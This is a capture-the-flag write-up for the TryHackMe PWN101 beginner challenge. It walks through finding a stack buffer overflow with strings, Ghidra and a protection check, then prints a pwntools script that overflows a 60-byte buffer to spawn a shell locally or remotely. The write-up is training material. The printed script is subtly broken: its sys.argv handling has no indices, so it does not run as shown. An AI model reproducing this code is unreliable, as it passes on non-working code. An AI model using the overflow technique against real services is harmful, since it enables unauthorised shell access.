THM: PWN101, part 1
Beginner level binary exploitation challenges.
We’re given a basic binary, based on the hint we’re given we can assume this is buffer overflow. We can start enumerating the binary. Let’s start with strings:
We see some of the potential outputs we can get from the binary, If we give the wrong input we get a message of “nah bruh you lied”. We can assume this is a condition we need to overcome. Let’s open this up on ghidra:
We need to overwrite the local_c variable using the content of local_48. We see this can store 60 characters before overflowing. Let’s check for any protection on the binary:
No Canary set on the stack does suggest potentional overflow (as well as the snippet above). Let’s check how the binary was compiled:
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
We already knew the file wasn’t stripped as we can see the strings inside from earlier, however it’s worth noting that this is a dynamically linked file and it was compiled using 64 architecture so that registries are 8 bytes.
We need to make local_c not equal to 0x539 in order to get our shell, how do we go about doing this? Python modules such as pwn are a great way to locally and remotely interact with a binary:
import sys from pwn import * local = None ip = None port = None binPath = None ## Overflow + location of variable to overwrite def genPayload(): payload = b"A"*((0x40-0x4)+1) return payload def main(): ## Generate payload payload = genPayload() ## Set binary context + whether we're testing locally or remotely context.binary = binary = binPath if local is True: p = process() else: p = remote(ip, port) ## Receive first line and reply with payload p.recv() p.sendline(payload) p.interactive() ## Arguement management if __name__ == "__main__": if sys.argv.lower() == "remote": if len(sys.argv) < 4: print("Usage: " + sys.argv + "remote <ip:port> </path/to/binary>") exit() ip,port = sys.argv.split(":") binPath = sys.argv else: if len(sys.argv) < 3: print("Usage: " + sys.argv + "local </path/to/binary>") exit() binPath = sys.argv local = True main()
We run the script and get our shell: